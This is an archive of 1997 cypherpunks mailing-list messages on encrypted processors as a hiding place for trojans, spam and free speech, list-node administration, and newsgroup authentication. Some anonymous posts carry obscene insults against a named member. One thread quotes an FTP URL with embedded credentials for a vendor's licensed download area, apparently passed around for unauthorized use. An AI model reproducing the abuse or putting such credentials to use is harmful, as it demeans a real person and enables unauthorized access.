could communicate over encrypted links with their Big Brother somewhere
else.

	The sea change in computing that would result from providing a
mechanism for secret, black box, unknowable and unalterable code to run
on the worlds personal computers is very significant.  Up to now it has
been possible, with effort and skill and intelligence, to determine what
the code of any OS or application did by decompiling it, or use of
software ICEs, debuggers, and even hardware monitors such as ICE's and
logic analyzers. Presumably an encrypted Intel processor will reveal
these secrets only to a very limited group of trusted developers, and
perhaps even then only information about the application or layer the
person is authorized to work on.

	Having both the ability to know what code is doing, and the
ability to alter it has so far detered most attempts to put unfriendly
agents into OS or applications code.  It has  been too easy to discover
them, and too easy to disable them for this to be a really effective
tool of social control, as witnessed by the failure of generations of
copy protection schemes.  But a truly secure encrypted processor changes
things a lot - both understanding what the code does and  modifying it
become near impossible.

	While one can readily understand and even sympathize with the use
of such entities to control and perhaps even largely eliminate software
piracy and other theft of intellectual property, the potential uses of
secure agents to implement more sinister social policy are frightening.

	A three way encrypted handshake between an encrypted agent that
was part of the OS and  a smart card and software at an ISP could be
used to enforce an internet drivers license law for  example, with no
packets being forwarded by the ISP without hard  authentication (even up
to biometrics) of the user.  And it would be rather trivial to disallow
use of "unapproved" software to communicate over the net, making
enforcement of GAK much more complete.  One could even use such a
mechanism to forbid use of any  uncertified software on a net connected
machine, thus making it rather hard to use such rogue applications as
PGP.

	And given that independant review of such secret OS code would be
near impossible, adding a Digital Telephony style watcher that could be
turned on via an encrypted packet from the net to record the user's
actions and what he typed or even access encryption keys or plaintext of
encrypted traffic would simply require collusion between the OS supplier
and the government, perhaps under pressure of antitrust enforcement or
other suitable incentivization.  Discovering that such a secret trojan
was in the encrypted inner kernal code would not be easy, especially if
it was only used rarely...
	
	Perhaps most sinister, as more and more of the code run on a PC
becomes encrypted and opaque, it gets easier and easier for a trojan
created not by a Big Brother state, but by criminal elements or foreign or
industrial spies, to hide amidst all the other layers of encrypted
code, safe from being detected by all but the few in possesion of the
master keys or special hardware required to understand what was going
on.

						Dave Emery
						die@die.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 25 May 1997 11:45:48 +0800
To: whgiii@amaranth.com
Subject: Re: Too few cypherpunks nodes.
In-Reply-To: <199705241834.NAA15516@mailhub.amaranth.com>
Message-ID: <199705250338.WAA26600@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


digest is a standard function of majordomo

igor

William H. Geiger III wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199705240549.AAA11795@manifold.algebra.com>, on 05/23/97 
>    at 11:49 PM, ichudov@algebra.com (Igor Chudov @ home) said:
> 
> >Ladies and Gentlemen,
> 
> >As the time goes on and I see what is happening inside and outside our
> >list, I am getting increasingly concerned about the small number of hosts
> >in the cypherpunks network.
> 
> >Practically, most of the people use only two nodes, Kent's and mine, and
> >thanks to Jim, we have three operating ones. I do not believe that it is
> >good enough.
> 
> >If anyone has any creative idea of how to get a couple more reliable
> >nodes, please share it.
> 
> I should have a new node up shorly.
> 
> This will be a cypherpunks-digest node.
> 
> I plan on taking input from the 3 current nodes, remove any duplicates and
> then send out 1 or 2 digest messages a day (depending on volume).
> 
> I will be working this weekend on the digest code, hopfully I can have
> things up and running sometime next week depending on how much time "real"
> work takes up.
> 
> Once I have the digest list set-up I can start posting some statistics on
> the "quality of service" on the various lists.
> 
> I do not plan on filtering any traffic with the exception of "denial of
> service" attacks (100 ascii art messages, ...). I may not have to even do
> this if the other lists already take care of this.
> 
> As soon as I have more info I will post it to the list.
> 
> PS: What does everyone think of CC: alt.cypherpunks with the digest?
> 
> 
> Thanks,
> 
> - -- 
> - -----------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.                        
> - -----------------------------------------------------------
>  
> Tag-O-Matic: He who laughs last uses OS/2.
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Registered_User_E-Secure_v1.1b1_ES000000
> 
> iQCVAwUBM4dCe49Co1n+aLhhAQHpPwQAwnwWWNlGh8MnERO9kkgJsF+CKuBwKh6q
> 75oeD0/x6MaYIE1jePrAQvqkNcvzVCMbvdSkBCH1rFSLhoGECsh1jXgvWmPieRfB
> 7sedYwX1UTVOPz/YLvHh0BcCuevbq1V5vZD/PzhIwxskT1CNLfYkcoM/lph/HpAZ
> Aaa3bo/09+k=
> =9HJY
> -----END PGP SIGNATURE-----
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 25 May 1997 13:58:06 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@EINSTEIN.ssz.com>
Subject: Re: SIGH Geiger clueless again
In-Reply-To: <199705240107.UAA21651@einstein.ssz.com>
Message-ID: <19970524224202.41456@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 23, 1997 at 08:07:01PM -0500, Jim Choate wrote:
> Forwarded message:
> 
> > From: "William H. Geiger III" <whgiii@amaranth.com>
> > Date: Fri, 23 May 97 08:29:59 -0500
> 
> > No not at all. Just because I am connected to the network I am under no
> > obligation to accept a single bit. I don't have to ever download any mail
> > or I can download all or I can pick and choose what I accept or what I
> > don't.
> 
> Exactly,

Once a bit is on the wire you either accept it or effectively 
disconnect.  Period.  If you (or your lower network layer surrogates) 
convince the other side not to send, that's one thing.  But at the 
point the bits enter your site, you have no choice.

> This is the whole point of a firewall after all. Simply connecting your
> cable to a publicly accessible source implies no more than having your
> driveway end in a public street. It is NOT an open invitation to stroll
> through your living room.

That's a false analogy.  You really say "send me *all* bits, and I will 
look at them and *decide* what to do with them."  Your firewall has to 
receive the bits before it can decide what to do about them.  Any 
decision about what bits to send and what bits not to send must be 
made externally to you -- your equipment and software automatically 
receives every single bit sent to it.

> > Obviously you have not ever entered into contract agreements with an
> > accesses provider. There is no obligation on my part to receive a single
> > bit. If I never run a sendmail daemon then I will never receive a single
> > e-mail message regardless of how many are aimed at my servers. This is the
> > same with any TCP/IP service. The only obligation I have with my upstream
> > provider is to pay my bill. If I choose to bounce everything that is
> > routed from Spamford it is my right to do so as it is *MY* equipment. 
> 
> This is certainly the exact case between myself and my provider for SSZ.

You have to receive the bits before you bounce them.

As far as turning off your sendmail daemon -- that is just moving the
discussion up a protocol level.  You are still stuck with the choice
of accepting all mail, or disconnecting and receiving none -- if you
elect to receive any mail you receive it all.  Once you get it, you
can decide to throw it away, but you still have to receive it to make
that decision.

This is the conundrum of spam.  It exploits a fundamental weakness in
our communication protocols, and illustrates a fundamental
philosophical problem in the realm of freedom of speech through a
finite bandwidth communication channel -- what happens when someone
uses their freedom of speech to overload the channel, thus interfering
with everyone else's freedom of speech? (An information theoretic
"tragedy of the commons".)

Clearly, it seems to me, freedom of speech should not include the
freedom to destroy others freedom of speech by overloading the
channel.  But to avoid this problem you need protocols that govern
access to the channel...protocols which do not exist for email.

And even if you develop such protocols you still have the channel 
overload problem.  You can only read so much email a day -- your 
human input bandwidth is limited.  The supply of interesting email is 
essentially unlimited.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 25 May 1997 14:34:44 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Beware of encrypted processors bearing gifts...
In-Reply-To: <3.0.32.19970524204444.00739384@netcom13.netcom.com>
Message-ID: <v03102803afad81d4f6ad@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>I strongly agree with you. While the motivation that lead to the
>development of such processors stems probably from the desire to thwart
>software piracy, it will make implementation of the "Internet Driver
>License" that much easier.

I don't agree.  Although some in D.C. and elsewhere might push for such
measure they would never pass constitutional muster.  And if they did there
would be enough taking civil disobedient action or greater to thwart such
measures.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 25 May 1997 14:31:01 +0800
To: Dave Emery <die@pig.die.com>
Subject: Re: Beware of encrypted processors bearing gifts...
In-Reply-To: <199705250228.WAA28391@pig.die.com>
Message-ID: <v03102801afad801a8ed0@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


The fly in this somewhat "paranoid" ointment is that if it were believeably
rumoured to be true it would set off a stampede to alternate platforms
(Alpha, Power PC, etc.), potentially destroying Intel.  I would not trust
such a platform, but many of the sheeple might until a few high-profile
cases surfaced.

>	I find the notion of an extremely wide deployment (as any Intel
>x86 product will be) of machines with processors that support encrypted
>instruction sets and associated smart cards deeply disquieting.
>
>	It seems to me that this is enabling technology that would allow
>the insertion of autonomous encrypted 'little brothers', into operating
>systems and perhaps major net applications such as web browsers as
>well..  These 'little brother' observers could be made completely opaque
>to even determined and sophisticated users - with encrypted code and the
>potential for encryption of all their data it would require breaking the
>encryption for an independant entity to understand what such an agent
>was doing and who it was doing it for.  And by making support of such
>agents part of the encrypted inner ring of an OS (Win99?), it might be
>very nearly impossible to run the OS without the agent or agents present
>and operating properly.   And as more and more PCs are net connected,
>such agents would not need to operate entirely autonomously, as they
>could communicate over encrypted links with their Big Brother somewhere
>else.


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 25 May 1997 14:26:34 +0800
To: frissell@panix.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>
Message-ID: <v03102804afad852bbf6f@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>"Beginning at a time unknown, and continuing to the present, at Vancouver,
>within the Western District of Washington and elsewhere, JAMES DALTON BELL
>did corruptly obstruct and impede and endeavor to obstruct and impede the
>due administration of the internal revenue laws, among other things, by
>collecting the names and home addresses of agents and employees of the
>Internal Revenue Service ("IRS") in order to intimidate them in the
>performance of their official functions;"

It seems Jim was a might careless leaving sensitive information lying
around unencrypted.  If true he deserves to serve time for criminal
stupidity.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 25 May 1997 13:11:47 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Too few cypherpunks nodes. (fwd)
In-Reply-To: <199705241406.JAA23220@einstein.ssz.com>
Message-ID: <199705250454.XAA26987@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> Forwarded message:
> > Date: Sat, 24 May 1997 14:10:59 +0100
> > From: Adam Back <aba@dcs.ex.ac.uk>
> > Subject: Re: Too few cypherpunks nodes.
> > Does anyone know how many people are using Jim's cypherpunks@ssz.com?
> 
> I don't even check, less than 100 for shure and probably less than 25.
> Don't remember seeing that many notices of subscription to the cpunks list.
> There are a LOT of info and help requests though.

Maybe we should put together a short document describing what cypherpunks
lists are there and how to choose them. We can mentions all nodes -- ssz,
cyberpass, and algebra -- in that document.

> > Also I might point out that the afforded privacy is mostly illusionary
> > because any TLA who cared could observe the mail fanning out from
> > ssz.com with Sender: cypherpunks-owner@ssz.com and reconstruct the
> > list in short order.
> 
> True, but in that case they can simply walk in with a subpeonae and take it
> as well, it is sitting there in a plain text file. The reason I do this is to
> minimize spammings and other such attacks it is not to protect anyone from a
> truly determined assault but rather from those marketing idiots out there
> with no clue as to anything close to reasonable behaviour.

This sounds like a reasonable choice, although I chose not to do it.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 25 May 1997 16:15:35 +0800
To: Cypherpunks Distributed Remailer <kent@songbird.com>
Subject: Re: SIGH Geiger clueless again
Message-ID: <199705250802.BAA27333@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 24 May 97 at 22:42, Kent Crispin wrote:

> This is the conundrum of spam.  It exploits a fundamental weakness
> in our communication protocols, and illustrates a fundamental
> philosophical problem in the realm of freedom of speech through a
> finite bandwidth communication channel -- what happens when someone
> uses their freedom of speech to overload the channel, thus
> interfering with everyone else's freedom of speech? (An information
> theoretic "tragedy of the commons".)
> 
> Clearly, it seems to me, freedom of speech should not include the
> freedom to destroy others freedom of speech by overloading the
> channel. 

There we go, full circle to what started this whole thread.  And 
quite well put.  Seems as if EVERYONE is really clueless about this 
one, not just WHG3.

> But to avoid this problem you need protocols that govern
> access to the channel...protocols which do not exist for email.

And we don't want those.  I think.  1 am on a Saturday, and it's 
really confusing.  As long as I get to keep doing what it is I'm 
doing, I'm happy.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 26 May 1997 02:04:19 +0800
To: cypherpunks@toad.com
Subject: GAK
Message-ID: <199705251746.KAA29719@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[unt] May carries a turd in his wallet for identification purposes.

      \|||/
      (o o)
  -ooO-(_)-Ooo- Timothy C[unt] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 26 May 1997 00:22:22 +0800
To: cypherpunks@einstein.ssz.com
Subject: SSZ Lag Test
Message-ID: <199705251607.LAA28236@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The CP/M of the future!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4hxb49Co1n+aLhhAQGzrQP/d27uCWY944vheZ1fYAEzn7xcl8f391jc
fmDwPFFTdrm9+7s1ZXZVLsGPIEEJIQ9wRWjkQh90wBWHKf881s8WIL26fI/GSwOM
aUVdzkwexkEh7A5WLuSMPzgPPQhW/K5Vevb9aS3r5jZiz6upFx+Axhj4SRlBcBLU
+Rnyety6veI=
=vmBu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 26 May 1997 03:08:09 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705251828.LAA28714@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May is so full of shit that some of it bursts out on this mailing list.

         \|||/
         (o o)
     -ooO-(_)-Ooo- Timothy May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Mon, 26 May 1997 01:32:02 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: CDR & SSZ
Message-ID: <199705251643.LAA24714@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

I am in the process of expanding my business. While this will not effect the
stability of the Cypherpunks Distributed Remailer, in fact we hope to make it
more stable, it will mean some additional resources being available in the
near future. I unfortunately can't say more on this now.

However, I can say that 'CyberTects' will most likely cease to exist in a
matter of days. It will be subsumed in the creation of a newer and larger
business entity (we are currently fighting over the name). This new entity
will be taking on the SSZ network & its user base. I will still be directly
responsible for the operation and customer satisfaction of SSZ users.

There will be more announcements in the near future. However, if you have
specific questions (no answer promised) please feel free to send them to me.


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Mon, 26 May 1997 01:47:11 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ Lag Test (fwd)
Message-ID: <199705251654.LAA24764@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Sun, 25 May 97 11:05:39 -0500
> Subject: SSZ Lag Test

> 

Timing responces from SSZ should probably be averaged about 8-10 times a day
for about a week to get a good idea of what to expect. The majority of the
time the system is not heavily using the ISDN nor are many users logged in.
However, two of my users transmit large blocks of data (one is video and the
other is a web-spider) w/o warning and make a significant impact. We also
tend to have very spikey web access.

                                                     Jim Choate
                                                     ?
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 26 May 1997 01:03:28 +0800
To: franl@world.std.omit-this.com (Francis Litterio)
Subject: Re: Too few cypherpunks nodes. (fwd)
In-Reply-To: <3388646b.353562586@world.std.com>
Message-ID: <199705251654.LAA30125@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Francis Litterio wrote:
> (ichudov@algebra.com) wrote:
> 
> > Maybe we should put together a short document describing what cypherpunks
> > lists are there and how to choose them. We can mentions all nodes -- ssz,
> > cyberpass, and algebra -- in that document.
> 
> I've tried to do that on my Cypherpunks-overview Web page at
> 
> 	http://world.std.com/~franl/crypto/cypherpunks.html
> 

Cool! The only paragraph that needs fixing is this:

Page> To subscribe to one of the Cypherpunks mailing list distribution points
Page> send email to (one of) majordomo@algebra.com,
Page> majordomo@sirius.infonex.com, or majordomo@cyberpass.net with the
Page> following text in the body of your email message:

Actually, infonex and cyberpass are the same place. Instead, you
can list majordomo@ssz.com, majordomo@cyberpass.net, and
majordomo@algebra.com.


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 26 May 1997 03:03:46 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: GAK
In-Reply-To: <199705251746.KAA29719@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970525124220.89548A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 25 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.


> Timothy C[unt] May carries a turd in his wallet for identification purposes.
> 
>       \|||/
>       (o o)
>   -ooO-(_)-Ooo- Timothy C[unt] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 26 May 1997 01:20:30 +0800
To: cypherpunks@toad.com
Subject: Crypto Policy Paper
Message-ID: <1.5.4.32.19970525165622.0089d0d4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We offer a paper distributed at the recent NYC crypto 
forum, 

"Private Groups and Public Policy: Cryptography 
and the National Research Council," 

by Kenneth Dam, professor of law at the University of
Chicago, a panelist at the forum, and chair of the 
NRC panel which produced the report "Cryptography's 
Role in Securing the Information Society," May, 1996.

   http://jya.com/damrole.htm  (63K)

Professor Dam recounts the impact of the NRC report
on the Administration's encryption policy as an example
of how private groups help shape public policy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 26 May 1997 04:19:05 +0800
To: cypherpunks@toad.com
Subject: Washington Post on crypto
Message-ID: <Pine.GSO.3.95.970525125909.21909B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have a cite to last fall's wrongheaded Washington Post
editorial on crypto? My easily-accessible archives go back only to last
November.

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 26 May 1997 04:54:53 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199705251828.LAA28714@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970525143746.51986A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 25 May 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy May is so full of shit that some of it bursts out on this mailing list.
> 
>          \|||/
>          (o o)
>      -ooO-(_)-Ooo- Timothy May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: franl@world.std.omit-this.com (Francis Litterio)
Date: Mon, 26 May 1997 00:31:09 +0800
To: cypherpunks@algebra.com
Subject: Re: Too few cypherpunks nodes. (fwd)
In-Reply-To: <199705250454.XAA26987@manifold.algebra.com>
Message-ID: <3388646b.353562586@world.std.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 24 May 1997 23:54:06 -0500 (CDT), Igor Chudov
(ichudov@algebra.com) wrote:

> Maybe we should put together a short document describing what cypherpunks
> lists are there and how to choose them. We can mentions all nodes -- ssz,
> cyberpass, and algebra -- in that document.

I've tried to do that on my Cypherpunks-overview Web page at

	http://world.std.com/~franl/crypto/cypherpunks.html

The Cypherpunks Home Page at

	http://www.csua.berkeley.edu/cypherpunks/Home.html

is out of date regarding the state of the mailing list (and has many
broken links as well).  As I type this, the above host is up but its
Web server is not.
--
Francis Litterio                           PGP Key Fingerprint:
franl@world.std.omit-this.com              02 37 DF 6C 66 43 CD 2C
http://world.std.omit-this.com/~franl/     10 C8 B5 8B 57 34 F3 21
Note: email address and WWW URL altered to prevent spam.

"They that can give up essential liberty to obtain a little temporary 
 safety deserve neither liberty nor safety." -- Ben Franklin, ~1784





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 26 May 1997 05:39:58 +0800
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: SSZ Lag Test (fwd)
In-Reply-To: <199705251654.LAA24764@einstein.ssz.com>
Message-ID: <199705252131.QAA05144@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705251654.LAA24764@einstein.ssz.com>, on 05/25/97 
   at 11:54 AM, Jim Choate <ravage@einstein.ssz.com> said:

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Sun, 25 May 97 11:05:39 -0500
>> Subject: SSZ Lag Test

>> 

>Timing responces from SSZ should probably be averaged about 8-10 times a
>day for about a week to get a good idea of what to expect. The majority
>of the time the system is not heavily using the ISDN nor are many users
>logged in. However, two of my users transmit large blocks of data (one is
>video and the other is a web-spider) w/o warning and make a significant
>impact. We also tend to have very spikey web access.

Hi Jim,

I currently calculate message lag on all cypherpunks messages as part of
my logging process. I will use these figures to calculate both daily &
weekly max/min/avg. Later on I will include lag between servers ie: a
message posted to algebra and received from cyberpass what is the lag.

In the orriginal message posted "SSZ Lag Test" I have not received this
message from the SSZ server or the cyberpass server only the algebra
server. I have subscribed to the ssz server but have not received any mail
from this server yet. I did receive the following message but am not sure
if I am properly subscribed or not.

To: whgiii@amaranth.com
From: Majordomo@EINSTEIN.ssz.com
Subject: Majordomo results: subscribe cypherpunks@ssz.com
Reply-To: Majordomo@EINSTEIN.ssz.com
X-UIDL: 864570204.000

- --

>>>> subscribe cypherpunks@ssz.com

Please let me know if there is a problem with the cyberpass link or if
there is a problem with my subscription to the ssz.com server.

Thanks,


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: Windows?  Homey don't play that!

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Comment: Registered_User_E-Secure_v1.1b1_ES000000

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian Durham <bdurham@swbell.net>
Date: Mon, 26 May 1997 06:51:17 +0800
To: cypherpunks@toad.com
Subject: Re: Message
In-Reply-To: <19970525221757.21291.qmail@squirrel.owl.de>
Message-ID: <3388BE3E.5152@swbell.net>
MIME-Version: 1.0
Content-Type: text/plain


> ftp://licenced:321@ftp.mcafee.com/licenced/

Login incorrect





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 26 May 1997 10:25:52 +0800
To: cypherpunks@algebra.com
Subject: Re: Message
Message-ID: <199705260216.TAA13774@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:17 PM 5/25/97 -0000, Secret Squirrel doth wrote:
>
>ftp://licenced:321@ftp.mcafee.com/licenced/

Anyone try this site?  I couldn't connect.


The Pie Guy
        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Mon, 26 May 1997 08:58:32 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: CFV: moderate sci.cryonics
Message-ID: <199705260048.TAA06749@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


Lewis McCarthy (lmccarth@cs.umass.edu) wrote 
* [various newsgroups removed from the distribution]
* Eli the Bearded writes:
* > help prevent the moderator or a third party from inventing
* > posts from people. (If someone always posts from the Lucifer remailer
* > how can you tell real posts from that person from fakes? They all
* > look a like.)
* 
* Three words: "public key cryptography"
* 
* Note that unsigned Usenet articles can be forged by anyone,
* regardless of whether or not they're sent through an anonymizer.
* Unsigned articles only give the illusion of authentication. At
* least with anonymized articles, most people realize more readily
* that there's no real proof of identity present (as you noted above).

That is correct. A moderated newsgroup can be set up such that messages
coming from certain addresses can be required to be digitally signed.
This requirement, of course, does not have to apply to all users and can
be done on a voluntary basis.

Anonymous users can also enjoy the benefits of authentication, if they
submit their public keys to the moderator (with the key address set
to something like space@alien.nowhere) and request that all messages
coming with the address "space@alien.nowhere" be authenticated.

This is a very positive aspect of moderated groups, since anonymous posters
can enjoy both anonymity and reputation.

The other concern here seems to be forgers who forge valid addresses of
existing users. Again, a moderated group has a great flexibility to 
introduce SOME authentication without even the need for using public
key cryptography.

The moderator can set up a password-based system. Anyone can request a 
password sent to them by sending an email to password@moderation.site.com.
A unique password will be generated, stored and sent back to the
requestor. The address that had been assigned the password gets on the
"watch list" and all article submissions from that address would be
checked for presence of the password. Of course, a password needs to be
wiped out from the message priot to teh approval.

As long as email remains private (ie, there is no man in the middle or any
sniffers acting), this scheme is secure. Again, it may be either purely 
voluntary or mandatory.

Of course, anonymous users need special treatment since they are unable to
receive email. Such users may continue to use PGP.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Mon, 26 May 1997 08:38:07 +0800
To: Brian Durham <bdurham@swbell.net>
Subject: Re: Message
In-Reply-To: <3388BE3E.5152@swbell.net>
